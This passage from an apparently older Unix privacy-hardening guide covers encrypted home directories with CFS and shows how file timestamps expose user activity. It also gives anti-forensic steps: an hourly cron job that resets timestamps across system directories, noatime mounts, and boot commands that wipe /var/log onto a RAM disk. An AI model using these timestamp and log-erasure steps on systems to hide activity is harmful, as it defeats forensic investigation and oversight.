I stick with CFS here. (Pointers to all tools mentioned in this text can be found at the end) To enable CFS we must put these six lines in a rc2.d script: portmap rpc.mountd -P 894 # mountd should bind to port 894 cfsd 895 # cfsd should bind to port 895 rm -rf /tmp/.tmp mkdir -p -m 700 /tmp/.tmp mount -o port=895,intr localhost:/tmp/.tmp /home Additionaly we have to put this entry into /etc/exports: /tmp/.tmp localhost Okay. This starts the sunrpc with the mountdaemon which are necessary for CFS to be started and used. Now we need to get the following going: if a user logs on, the system has to check if he's already logged in to decide whether to decrypt the users' home directory. This sounds hard but is easy: the user's /home/user directory doesn't exist (even if it would, because of mount command nine lines above would make it nonexistent), so the user's HOME variable is set to '/' the root directory. Then his login shell is started which looks for it's start scripts. And that's were we put our hooks in. We create (this example is for bash) the file /.profile with the following contents: cattach /crypt/$USER $USER || exit 0 export HOME=/home/$USER cd $HOME if test -f $HOME/.profile; then . $HOME/.profile fi When a user logs on the first time, this script will be executed. The user has to enter the password for his crypted homedir, and after this his correct HOME variable is set and the normal login profile is read and done. If a user doesn't know the passphrase for his crypted homedir, he is logged out. But how do we remove the decrypted homedir after the user logs out? This script should be clever, because a user could be logged in several times at once, and it should only be removed when the last loginshell exits. Thank god, this is easy too, we create a /home/user/.bash_logout script: # if the number of user's login shells are > 3 then this is the last. shells=`ps xu | grep -- "$USER .* S .* -[^ ]*sh" | wc -l` test $shells -lt 3 || exit 0 export HOME=/ cd / cdetach $USER Thats all. From now on, the users' homedirectories are safe. Note that a user can't login now, start a background job which writes data in his homedirectory and log out because his homedirectory would be removed. The full .bash_logout script I provide in (see two lines below) checks for a $HOME/.keep file and if present doesn't remove the homedir. For network logins you should keep in mind that they should not be done via rlogin, telnet, etc. because they send all traffic (including passwords) in plaintext over the network. You should use a tool which encrypts the whole traffic like SSLtelnet or SSH (for SSH you need to set "UseLogin yes" in the /etc/sshd_config file). You'll find all these scripts with error checking, user creating, stop scripts and config files etc. in section IX. EXAMPLE CONFIGURATION Note that we started daemons in the section which can be contacted from remote. If you don't want this (because there are no external users who need to mount their crypted user data on their own machine) you should firewall these ports. Look in you manpages ("man ipchains" or "man ipfwadm"). *** 3. Traceable user activity [Warning, this section shows first how to perform simple electronic forensics] It is easy to see who logged on the system and what he did by the timestamps. Even if all your data is crypted, by checking the last access time (atime) of your files, someone may check when you logged in last time, for what duration and if you were idleing or doing much stuff. If the systems doesn't have many users, someone might even tell what you did. Example: The earliest access time for a crypted file in your homedir can be seen by: ls -altur /crypt/$USER | head -1 # shows the logout file ls -altu /crypt/$USER | more # with some brain you'll find # the login time then you also have the duration of the session. By checking the change/modification and access time of those crypted files with their timestamps someone can see how hard you were working, and get more conclusions (e.g. if many files nested in a three levels deep directory where modified this is probably a browser - so you were surfing the net). This insight will now make it possible to check what commands were run: Let's say the login time as 22 hours ago, so you run: find / -type f -atime 0 -ls # shows the accessed files find / -type f -mtime 0 -ls # shows the modified files (this can be done with directories too) Now check the output for the correct timeframe and analyze what you found. e.g. the telnet client was accessed. So it's probable, the user used it to connect to another system. I think you can imagine now what is possible. To protect against this is also very easy: Create the file /usr/local/bin/touch_them and make it executable with the following contents: find /crypt /tmp /etc /var/spool 2> /dev/null | xargs -n 250 touch Then put the following line into /etc/crontab: 50 * * * * root /usr/local/bin/touch_them finally you change the 4th row of all lines in /etc/fstab which have the keyword "ext2" in their third (the filesystem type) row: defaults (or anything else) should become defaults,noatime (the old value is kept, and noatime is appended) example: /dev/hda1 / ext2 defaults 1 1 becomes /dev/hda1 / ext2 defaults,noatime 1 1 What did we achieve? The crontab entry with the small script updates the atime, mtime and ctime to the current time every hour of special directories - especially those which may hold user data. The mount options we changed now prevent the update of the atime. However, this needs a current 2.2.x kernel - it isn't implemented on the 2.0 kernel tree! *** 4. Protecting /var/spool/* files /var/spool/mail : Now it gets tricky. How can we protect the new mail for a user from spying eyes? It can't be sent directly to a user's homedir like qmail would do because it's crypted. The easiest solution is to use pgp to encrypt your outgoing emails and tell all your friends that they should also encrypt all emails to you. However, this is not satisfying. An attacker can still see who sent the user the email. The only possibility to hide this is using anonymous remailer. This is not a great solution, so this is an open point (see section X.2: Additional thoughts) /var/spool/{mqueue|fax|lpd} : Well, all you can do is try to flush the queues when shutting down. After that you have to decide if you delete the remaining files in a secure way or leave it where it is. Or program a special script which does something with the data (like taring the data and encrypting it with pgp, doing the reverse when the system is rebooted) You can also create a whole crypted /var partition, but that would require someone at the console while booting the system - every time. * V. SYSTEM DATA *** 1. Sensitive system data What is sensitive system data? *Anything* which gives conclusion on incoming and outgoing data, configuration files, logs, reboots and shutdowns. This includes: - utmp/wtmp/lastlog data (boot, reboot, shutdown times + user times) - ppp dialup script - sendmail and tcp wrapper configurations - proxy cache data (e.g. squid web/ftp proxy) - syslog messages - /var/spool/* data {mqueue|fax|lpd|mail} - temporary files from daemons - time stamps on data (when were what data accessed/edited) How to prevent time stamp forensica, see section IV.3 How to protect /var/spool/* data, see section IV.4 for an incomplete solution. *** 2. Traceable system activity (prevent of time stamp forensic is handled in section IV.3) To trace system activity, you can easily check temporary files of daemons and applications. Some of them write to /tmp, root applications usually (should) write to /var/run. We handle this together with section V.3: Logging. All you have to do is this, and only *once* : cd /var mv run log ln -s log/run run this moves the /var/run directory to /var/log/run and sets a symlink in it's former place so that applications still find their files. *** 3. Logging - important and dangerous Logging is important to trace problems like misconfigurations. Logging is dangerous because an attacker can see important data in the logfiles, like the user's login and logout time, if they executed "su" or other commands etc. We try to find a balance between this. Our solution: Write all log data to one special directory. This directory is a RAM disk so the data is lost after a system shutdown. Ensure that syslogd [/etc/syslog.conf] and daemons (e.g. httpd [apache]) only write to our special logging directory or a system console. /var/log should be used as our special logging directory. Now we put the following commands into /sbin/init.d/boot.local: umask 027 mke2fs -m0 /dev/ram0 1> /dev/null 2>&1 rm -rf /var/log/* 2> /dev/null mount -t ext2 /dev/ram0 /var/log chmod 751 /